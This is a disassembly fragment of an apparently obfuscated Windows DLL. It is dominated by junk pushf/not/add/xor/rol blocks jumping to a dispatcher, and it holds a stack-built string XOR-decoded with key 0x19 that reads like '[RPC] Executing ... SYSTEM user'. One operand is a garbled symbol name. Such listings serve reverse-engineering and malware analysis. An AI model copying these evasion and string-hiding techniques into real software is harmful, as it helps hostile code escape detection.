mov dword [rbp + 0xac], 1
jmp 0x180040243
mov dword [rbp + rcx + 0xb4], esi
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0xcd41ddf5
pushf
not eax
add eax, 0xcf0d61bd
xor eax, 0xce02089c
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf39a97d2
xor eax, 0xc7d57f13
rol eax, 0x63
popf
pushf
not eax
add eax, 0xaa557d6a
xor eax, 0xf8e1a020
rol eax, 0xc5
popf
jmp 0x18003d12e
mov dword [rbp + 0x10], ebx
test edx, edx
je 0x1800402a3
push rax
pushf
mov eax, 0x6432c268
pushf
not eax
add eax, 0xdb30c4f3
xor eax, 0xeeb1fed8
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xfecfbf54
xor eax, 0x83ef4a90
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xaa03bd6b
xor eax, 0x85bb6737
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xef916501
xor eax, 0x90e24fad
rol eax, 0x32
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x86c8588b
pushf
not eax
add eax, 0xb90c2e66
xor eax, 0xd4e80e4e
rol eax, 0xd
popf
pushf
not eax
add eax, 0xe30044ae
xor eax, 0x95899ab8
rol eax, 8
popf
pushf
not eax
add eax, 0xc280ecfe
xor eax, 0xbffbf9f0
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xafc515d7
xor eax, 0x91c1a4ea
rol eax, 0xc6
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18004046e
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x1b876f86
pushf
not eax
add eax, 0x8ab4658b
xor eax, 0xc337d2de
rol eax, 0x96
popf
pushf
not eax
add eax, 0xbc92cc9a
xor eax, 0xe4be9f2b
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe6d1013c
xor eax, 0xbaf05dc3
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf0c990fc
xor eax, 0xc26e6936
rol eax, 0x2b
popf
jmp 0x18003d12e
mov dword [rbp + 0x18], esi
test edx, edx
je 0x1800404ce
push rax
pushf
mov eax, 0xc9eddc14
pushf
not eax
add eax, 0x887cf270
xor eax, 0xbb740506
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xfe63703b
xor eax, 0x976e1663
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd97bda3d
xor eax, 0x9cbaee01
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfc4c7688
xor eax, 0xd0d7e9d7
rol eax, 0xb3
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x4d3c6788
pushf
not eax
add eax, 0xfcabeb91
xor eax, 0x9ebe3b3b
rol eax, 0x36
popf
pushf
not eax
add eax, 0x8e151eeb
xor eax, 0xc148aa52
rol eax, 0x21
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18004053d
push rax
pushf
mov eax, 0x50ba564c
pushf
not eax
add eax, 0xaffe8ec4
xor eax, 0xe10d3a1b
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xee0234a4
xor eax, 0xadb49cd8
rol eax, 5
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xdb46b357
pushf
not eax
add eax, 0xa97121a5
xor eax, 0xf1353be2
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8a3663e5
xor eax, 0xf185e0f5
rol eax, 0x37
popf
pushf
not eax
add eax, 0xa8b35415
xor eax, 0xe2ddfd2b
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x9da49fcd
xor eax, 0x8fd03209
rol eax, 0x1c
popf
jmp 0x18003d12e
mov dword [rbp + rcx + 0xb4], esi
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0xdd00e5a7
pushf
not eax
add eax, 0xfd0e1f3a
xor eax, 0xa0ff9fd1
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x8973804c
xor eax, 0xdfe2a27f
rol eax, 0x9d
popf
jmp 0x18003d12e
test edx, edx
je 0x180040697
push rax
pushf
mov eax, 0xe087e4f6
pushf
not eax
add eax, 0xd0c229d0
xor eax, 0x95562c74
rol eax, 0x40
popf
pushf
not eax
add eax, 0xbd6e0e99
xor eax, 0xd4996bb2
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf1bba0d0
xor eax, 0xdc678d42
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb08720e9
xor eax, 0xca9ac7aa
rol eax, 0x76
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xcfd33d47
pushf
not eax
add eax, 0xda551ca4
xor eax, 0x89d8ffdc
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xdcbf9e72
xor eax, 0x98085640
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xd92d8b45
xor eax, 0xf4f27f98
rol eax, 0x24
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp esi, eax
jbe 0x18004072b
push rax
pushf
mov eax, 0xf22095c3
pushf
not eax
add eax, 0xed78366b
xor eax, 0xcb013f00
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x9fcf5647
xor eax, 0x90ab8c3a
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb55cee07
xor eax, 0xcac12d2e
rol eax, 0x5b
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x3a483119
pushf
not eax
add eax, 0xdab738b8
xor eax, 0xa3457b5c
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf69bec4b
xor eax, 0xee73cc0e
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x87454822
xor eax, 0xe10b27e5
rol eax, 0x79
popf
pushf
not eax
add eax, 0xcddbddd6
xor eax, 0xa99507d8
rol eax, 0xcc
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180040877
mov eax, ecx
lea rdx, [rbp + 0x11c0]
lea rcx, [rbp + 0xb4]
mov r8d, esi
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbp + 0x8b4]
lea eax, [rsi + 3]
mov edx, dword [rbp + 0xb0]
and eax, 0xfffffffc
push rax
not eax
sub ecx, eax
pop rax
sub ecx, 1
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0xf1a33d77
pushf
not eax
add eax, 0xc4c272d8
xor eax, 0x95fc32de
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd56a3029
xor eax, 0xe3253a8e
rol eax, 0x23
popf
pushf
not eax
add eax, 0x913e723c
xor eax, 0x96cf496d
rol eax, 0x98
popf
pushf
not eax
add eax, 0xb6f0dbaa
xor eax, 0xff24a1e6
rol eax, 0xdc
popf
jmp 0x18003d12e
mov dword [rbp + 0x20], ebx
test edx, edx
je 0x1800408c4
push rax
pushf
mov eax, 0x74ceaea8
pushf
not eax
add eax, 0xe3cf5018
xor eax, 0x862dad2e
rol eax, 2
popf
pushf
not eax
add eax, 0x9065399e
xor eax, 0xe428eee5
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xdda7b155
xor eax, 0xce0dc879
rol eax, 0x7d
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x8f734af4
pushf
not eax
add eax, 0xc5dcf5d3
xor eax, 0x81c1ee4c
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb08da493
xor eax, 0xdd8bc688
rol eax, 0x20
popf
pushf
not eax
add eax, 0xfdb03586
xor eax, 0x9a54909f
rol eax, 0xe7
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18004096c
push rax
pushf
mov eax, 0x95b3a3e0
pushf
not eax
add eax, 0xe94168f3
xor eax, 0xa6becd36
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xe588e33b
xor eax, 0xb235ba88
rol eax, 9
popf
pushf
not eax
add eax, 0x8477110d
xor eax, 0x97d09919
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xd5ad96a2
xor eax, 0xd5cf20e3
rol eax, 0x34
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xb10b454e
pushf
not eax
add eax, 0x9118b295
xor eax, 0xd1eac6a2
rol eax, 0x77
popf
pushf
not eax
add eax, 0x88b8cf65
xor eax, 0x97cbdb8f
rol eax, 0xce
popf
jmp 0x18003d12e
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0xaa461f4e
pushf
not eax
add eax, 0xfd277542
xor eax, 0xcc54bafd
rol eax, 0x54
popf
pushf
not eax
add eax, 0xed58cc73
xor eax, 0xf1cb3c68
rol eax, 0xb
popf
pushf
not eax
add eax, 0xecc513b4
xor eax, 0xacdfa62a
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x91722ca4
xor eax, 0x8aab9737
rol eax, 0xb
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180040b4b
push rax
pushf
mov eax, 0x3b7a5f69
pushf
not eax
add eax, 0xb1069bc5
xor eax, 0xa87d37c6
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe0312f88
xor eax, 0xf34e7713
rol eax, 0x10
popf
pushf
not eax
add eax, 0xa08eb444
xor eax, 0xd1764637
rol eax, 0x63
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xde048604
pushf
not eax
add eax, 0xe28b5f24
xor eax, 0xeb380b49
rol eax, 0xad
popf
pushf
not eax
add eax, 0xb330af21
xor eax, 0xee605dc9
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xb43e1088
xor eax, 0xecf16468
rol eax, 0x48
popf
pushf
not eax
add eax, 0xdb05753b
xor eax, 0xdf352fc8
rol eax, 0xd1
popf
jmp 0x18003d12e
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x555aea10
pushf
not eax
add eax, 0x8ea1d9c3
xor eax, 0xc6879d67
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xb1f2a31b
xor eax, 0xdad7b3e1
rol eax, 0x86
popf
pushf
not eax
add eax, 0xa2056321
xor eax, 0xc09ff067
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xee540a80
xor eax, 0xabeb3d62
rol eax, 0x87
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180040d17
push rax
pushf
mov eax, 0x29c5ca1d
pushf
not eax
add eax, 0x9156013a
xor eax, 0xc1c7d8c0
rol eax, 0x65
popf
pushf
not eax
add eax, 0xb4d85cad
xor eax, 0xe9db1118
rol eax, 0x36
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x4ad2d607
pushf
not eax
add eax, 0xb635a3f8
xor eax, 0xe21dc0a2
rol eax, 0xab
popf
pushf
not eax
add eax, 0xb99e2f52
xor eax, 0x95143984
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8a4e30a2
xor eax, 0x93cbdc7b
rol eax, 0xa6
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180040e27
mov dword [rbp + 0x38], ebx
test edx, edx
je 0x180040e61
push rax
pushf
mov eax, 0xb0770709
pushf
not eax
add eax, 0xdeeaf918
xor eax, 0xa28e4d39
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x875e65b2
xor eax, 0x93f255d6
rol eax, 0x32
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x93236407
pushf
not eax
add eax, 0x8480113e
xor eax, 0x97b17793
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf775c04a
xor eax, 0x971cf8a1
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xb9ddbd0a
xor eax, 0xfe22a0cc
rol eax, 0xc2
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180040ee3
push rax
pushf
mov eax, 0x2336e6cc
pushf
not eax
add eax, 0xb6dcb362
xor eax, 0xefec0270
rol eax, 0x96
popf
pushf
not eax
add eax, 0x8867014f
xor eax, 0xaf07eedb
rol eax, 0x28
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x1750c0f1
pushf
not eax
add eax, 0xdcda39f1
xor eax, 0xa6b55461
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xf11cdf98
xor eax, 0xc54b1200
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xe4eeae00
xor eax, 0xa2fa0ca8
rol eax, 0x94
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180040ff3
mov dword [rbp + 0x40], ebx
test edx, edx
je 0x180041040
push rax
pushf
mov eax, 0xf0cae5ac
pushf
not eax
add eax, 0xbd0f186d
xor eax, 0xfdb5b336
rol eax, 0x51
popf
pushf
not eax
add eax, 0x914d9a75
xor eax, 0xc59c3e39
rol eax, 0x30
popf
pushf
not eax
add eax, 0xd3b00d92
xor eax, 0xab07c498
rol eax, 0x43
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x228a2786
pushf
not eax
add eax, 0xcb21bca2
xor eax, 0xf7048b44
rol eax, 0x20
popf
pushf
not eax
add eax, 0xb826892f
xor eax, 0xbc59a066
rol eax, 0x93
popf
pushf
not eax
add eax, 0xd2443bad
xor eax, 0xc779c554
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd29553bc
xor eax, 0xc6dc86bd
rol eax, 0x24
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x1800410fb
push rax
pushf
mov eax, 0x443b66ed
pushf
not eax
add eax, 0xa294cea8
xor eax, 0xbe2d869d
rol eax, 0x74
popf
pushf
not eax
add eax, 0xab128031
xor eax, 0xbc7aecf6
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xf019e029
xor eax, 0xdb9a4424
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xe91dcd8d
xor eax, 0xb05d8967
rol eax, 0x35
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x4fe77dad
pushf
not eax
add eax, 0xdbee55d4
xor eax, 0xe5800b51
rol eax, 0x29
popf
pushf
not eax
add eax, 0xb7a58ff0
xor eax, 0xa9feb85c
rol eax, 0xda
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18004120b
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x70c42f64
pushf
not eax
add eax, 0x86bb3a52
xor eax, 0xd75ae521
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb60355f9
xor eax, 0xc233e907
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xc142ac92
xor eax, 0xc6c9951c
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd40c1d8a
xor eax, 0xb2763bb0
rol eax, 0xa5
popf
jmp 0x18003d12e
mov dword [rbp + 0x48], ebx
test edx, edx
je 0x18004126b
push rax
pushf
mov eax, 0x5fe12877
pushf
not eax
add eax, 0xd9899913
xor eax, 0xf9ba2e39
rol eax, 3
popf
pushf
not eax
add eax, 0xf9f3f267
xor eax, 0xb58068bb
rol eax, 0x94
popf
pushf
not eax
add eax, 0xddf0c96a
xor eax, 0xa031833e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xc2589a4a
xor eax, 0xd4aff2c4
rol eax, 0xcf
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x728a123e
pushf
not eax
add eax, 0xe0ed116a
xor eax, 0xb8ae4f26
rol eax, 0xc
popf
pushf
not eax
add eax, 0x83a2c054
xor eax, 0xb8a136e7
rol eax, 0x37
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x1800412ed
push rax
pushf
mov eax, 0x61be6090
pushf
not eax
add eax, 0x9b944615
xor eax, 0xa72d1492
rol eax, 0xc
popf
pushf
not eax
add eax, 0x91224280
xor eax, 0x9be65570
rol eax, 0xab
popf
pushf
not eax
add eax, 0x8066c7d5
xor eax, 0xcbf7d905
rol eax, 0x3a
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xf40bf936
pushf
not eax
add eax, 0xd06ab026
xor eax, 0xf3b12daa
rol eax, 2
popf
pushf
not eax
add eax, 0x8750e1ab
xor eax, 0xe3db9b1e
rol eax, 0x86
popf
pushf
not eax
add eax, 0xdc2fae01
xor eax, 0xdca412d7
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xce05b217
xor eax, 0xc8d6bbce
rol eax, 0x30
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180041410
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x72a5edd1
pushf
not eax
add eax, 0xff880f9e
xor eax, 0xe7dd000d
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xe2f6ac76
xor eax, 0x88815a4d
rol eax, 0x88
popf
pushf
not eax
add eax, 0x90529a45
xor eax, 0xb470d3fc
rol eax, 0xd
popf
pushf
not eax
add eax, 0xdf2899a4
xor eax, 0xa7a4c8e0
rol eax, 0xf6
popf
jmp 0x18003d12e
mov dword [rbp + 0x50], ebx
test edx, edx
je 0x18004144a
push rax
pushf
mov eax, 0x45d2fc66
pushf
not eax
add eax, 0xf12afc55
xor eax, 0xb6308077
rol eax, 0x83
popf
pushf
not eax
add eax, 0xaaef7148
xor eax, 0xbceb747f
rol eax, 0xed
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x1779fbf9
pushf
not eax
add eax, 0xff1fd610
xor eax, 0xd084f93c
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x861cc453
xor eax, 0xd1df5ec5
rol eax, 0x32
popf
pushf
not eax
add eax, 0xd74af755
xor eax, 0xdfa0ce5e
rol eax, 0x41
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x1800414cc
push rax
pushf
mov eax, 0x8f276d7b
pushf
not eax
add eax, 0xf851e3ff
xor eax, 0xde9b5ae6
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xe5de715a
xor eax, 0xf993512c
rol eax, 0xbc
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xe4b81837
pushf
not eax
add eax, 0x8b1d8f5e
xor eax, 0xb18b63c2
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xe1b381d7
xor eax, 0x962c4da4
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe4595cac
xor eax, 0xd8d053e8
rol eax, 0x20
popf
pushf
not eax
add eax, 0x88a48dc3
xor eax, 0xd8f90fd1
rol eax, 0x1d
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x1800415bb
mov dword [rbp + rcx + 0xb4], ebx
add dword [rbp + 0x8b4], 4
push rax
pushf
mov eax, 0xcf03766f
pushf
not eax
add eax, 0x9648bbcf
xor eax, 0xca648a25
rol eax, 0x91
popf
pushf
not eax
add eax, 0xa7a0db0c
xor eax, 0xb2a0e529
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf6191660
xor eax, 0xec97a7dc
rol eax, 0x31
popf
jmp 0x18003d12e
mov edx, 0x2828794c
pushf
not edx
add edx, 0xd703dba7
xor edx, 0xd32306e9
rol edx, 0x49
popf
pushf
not edx
add edx, 0xe0d446b1
xor edx, 0xca00e045
rol edx, 0xc
popf
pushf
not edx
add edx, 0x831bca79
xor edx, 0xdf1cc6db
rol edx, 0xc3
popf
lea rcx, [rbp + 0xa0]
call fcn.18002e0cf
test eax, eax
jne 0x18004166c
push rax
pushf
mov eax, 0x6a4e95d3
pushf
not eax
add eax, 0xe099b2f7
xor eax, 0xbea423f9
rol eax, 0x88
popf
pushf
not eax
add eax, 0xb3fd131a
xor eax, 0xb357d0f1
rol eax, 9
popf
pushf
not eax
add eax, 0xa278c6ce
xor eax, 0xc78bf46f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd3a7e85b
xor eax, 0x9d861ccc
rol eax, 0x37
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x5eb958d0
pushf
not eax
add eax, 0xbec0eecd
xor eax, 0xf6bbe841
rol eax, 0x77
popf
pushf
not eax
add eax, 0xefac36a6
xor eax, 0xdd2f64bb
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xdfc5fd70
xor eax, 0xdb544cef
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x87db71ed
xor eax, 0x9e223a40
rol eax, 0x43
popf
jmp 0x18003d12e
cmp dword [rbp + 0x10b8], 0x1c
jne 0x18004172b
push rax
pushf
mov eax, 0x5c511c23
pushf
not eax
add eax, 0xb8165ee7
xor eax, 0x86711b1b
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x98603f57
xor eax, 0xa019bdf2
rol eax, 0x83
popf
pushf
not eax
add eax, 0xdf29ee5f
xor eax, 0xf600fa90
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe392d418
xor eax, 0xe6b20990
rol eax, 0xb
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x18f7984e
pushf
not eax
add eax, 0xce6325ae
xor eax, 0x92b18a68
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xacc9a947
xor eax, 0xfe1c4bd2
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd4dcd507
xor eax, 0xdc445513
rol eax, 0x71
popf
pushf
not eax
add eax, 0xd9d3b996
xor eax, 0x83a1ce51
rol eax, 0x82
popf
jmp 0x18003d12e
mov edx, dword [rbp + 0x8d0]
test edx, edx
je 0x1800417c1
push rax
pushf
mov eax, 0x6db2f37
pushf
not eax
add eax, 0xa762aee1
xor eax, 0x956e747b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xa80d1273
xor eax, 0xd5f56027
rol eax, 0x1b
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xcd683a10
pushf
not eax
add eax, 0xaaa1c60f
xor eax, 0xbce1e25e
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf6f95e83
xor eax, 0xc2b1622f
rol eax, 0x90
popf
pushf
not eax
add eax, 0x9f144e39
xor eax, 0xb2f13019
rol eax, 0x26
popf
jmp 0x18003d12e
lea rcx, [0x1eca9f166]
pushf
sub rcx, 0x6ca842ae
popf
jmp 0x18003ec1a
mov eax, dword [rbp + 0x8cc]
mov r8, rbx
movups xmm0, xmmword [rbp + 0x8bc]
mov dword [rbp + 0x68], eax
xor eax, eax
mov byte [rsp + 0x77], al
movups xmmword [rbp + 0x58], xmm0
mov dword [rsp + 0x4c], 0x19
mov byte [rsp + 0x50], 0x42
mov byte [rsp + 0x51], 0x4b
mov byte [rsp + 0x52], 0x49
mov byte [rsp + 0x53], 0x5a
mov byte [rsp + 0x54], 0x44
mov byte [rsp + 0x55], 0x39
mov byte [rsp + 0x56], 0x5c
mov byte [rsp + 0x57], 0x61
mov byte [rsp + 0x58], 0x7c
mov byte [rsp + 0x59], 0x7a
mov byte [rsp + 0x5a], 0x6c
mov byte [rsp + 0x5b], 0x6d
mov byte [rsp + 0x5c], WSAStartup
mov byte [rsp + 0x5d], 0x77
mov byte [rsp + 0x5e], 0x7e
mov byte [rsp + 0x5f], 0x39
mov byte [rsp + 0x60], 0x3e
mov byte [rsp + 0x61], 0x3c
mov byte [rsp + 0x62], 0x6a
mov byte [rsp + 0x63], 0x3e
mov byte [rsp + 0x64], 0x39
mov byte [rsp + 0x65], 0x78
mov byte [rsp + 0x66], 0x6a
mov byte [rsp + 0x67], 0x39
mov byte [rsp + 0x68], 0x4a
mov byte [rsp + 0x69], 0x40
mov byte [rsp + 0x6a], 0x4a
mov byte [rsp + 0x6b], 0x4d
mov byte [rsp + 0x6c], 0x5c
mov byte [rsp + 0x6d], 0x54
mov byte [rsp + 0x6e], 0x39
mov byte [rsp + 0x6f], 0x6c
mov byte [rsp + 0x70], 0x6a
mov byte [rsp + 0x71], 0x7c
mov byte [rsp + 0x72], 0x6b
mov byte [rsp + 0x73], 0x37
mov byte [rsp + 0x74], 0x37
mov byte [rsp + 0x75], 0x37
mov byte [rsp + 0x76], 0x13
movzx eax, byte [rsp + 0x50]
nop dword [rax]
push rax
pushf
mov eax, 0xf835b833
pushf
not eax
add eax, 0xa82e3db5
xor eax, 0xb5a93263
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x876d0073
xor eax, 0x95ce6f6d
rol eax, 0x61
popf
pushf
not eax
add eax, 0xcda1c9f2
xor eax, 0x879f4783
rol eax, 0x82
popf
pushf
not eax
add eax, 0xaa98661c
xor eax, 0xdbcf61f7
rol eax, 0x55
popf
jmp 0x18003d12e
movsx edx, byte [rsp + r8 + 0x50]
mov eax, dword [rsp + 0x4c]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x50], al
inc r8
cmp r8, 0x27
jb 0x180041a16
push rax
pushf
mov eax, 0x99e16d7c
pushf
not eax
add eax, 0xc6c0eeb3
xor eax, 0x81a6cd1a
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x8cc697b4
xor eax, 0xc2653255
rol eax, 0xa2
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xb4b40a90
pushf
not eax
add eax, 0xb2274818
xor eax, 0x80cd1806
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xa3efb7b9
xor eax, 0x9e23962b
rol eax, 0x93
popf
pushf
not eax
add eax, 0x8df7b8dc
xor eax, 0xf75bdf31
rol eax, 0
popf
jmp 0x18003d12e
mov rdx, r12
mov byte [rsp + 0x77], bl
lea rcx, [rsp + 0x50]
call fcn.18005b649
mov r8, rdi
lea rcx, [rbp + 0xb4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
mov dword [rbp + 0x8b4], ebx
xor edx, edx
lea rcx, [rbp + 0x8b8]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [rbp + 0x8b4]
mov eax, edi
mov esi, dword [rbp + 0x68]
sub eax, ecx
mov dword [rbp + 0x10b8], ebx
mov edx, 0x18f52678
pushf
not edx
add edx, 0xb38b6b2c
xor edx, 0xd85e8818
rol edx, 0xb8
popf
pushf
not edx
add edx, 0x92615b81
xor edx, 0xe61e92b4
rol edx, 0x68
popf
mov dword [rbp + 0xac], ebx
mov dword [rbp + 0xb0], edx
cmp eax, 0x14
jae 0x180041b1b
push rax
pushf
mov eax, 0xe8cd89b4
pushf
not eax
add eax, 0xdcfdb525
xor eax, 0xb6746bd6
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9ee231e1
xor eax, 0xda5121b6
rol eax, 0xe6
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xe9ece3ca
pushf
not eax
add eax, 0xc17b65b2
xor eax, 0xcff76a09
rol eax, 0x69
popf
pushf
not eax
add eax, 0x94f87836
xor eax, 0x88b76e6b
rol eax, 0xe
popf
pushf
not eax
add eax, 0xb7e85df8
xor eax, 0xbb4f6392
rol eax, 0xd5
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], edx
jmp 0x180041c90
movups xmm0, xmmword [rbp + 0x58]
movups xmmword [rbp + rcx + 0xb4], xmm0
mov dword [rbp + rcx + 0xc4], esi
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 0x14
mov dword [rbp + 0x8b4], ecx
test edx, edx
je 0x180041c37
push rax
pushf
mov eax, 0x954cb239
pushf
not eax
add eax, 0xda7980c9
xor eax, 0x860de389
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xb1879b1a
xor eax, 0xfd94ca68
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd0bfa5d8
xor eax, 0x8edf87a0
rol eax, 7
popf
pushf
not eax
add eax, 0xc654746b
xor eax, 0xccd41437
rol eax, 0x40
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x534b9f98
pushf
not eax
add eax, 0xebcd3d19
xor eax, 0xbf5243dd
rol eax, 0x39
popf
pushf
not eax
add eax, 0xbf0bdd09
xor eax, 0xe3be4417
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8115b069
xor eax, 0x88232b46
rol eax, 0x40
popf
pushf
not eax
add eax, 0xd98d5f15
xor eax, 0xaf8e987c
rol eax, 0xb9
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180041ccc
push rax
pushf
mov eax, 0x1e13380
pushf
not eax
add eax, 0xf2bc49b6
xor eax, 0xf5baf5bb
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xca62e044
xor eax, 0xc7b1e9fc
rol eax, 0x1c
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x605e8ab2
pushf
not eax
add eax, 0xc84c7a0a
xor eax, 0xef48b957
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xdaf0a0ba
xor eax, 0xd6ace609
rol eax, 0x94
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180041db6
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
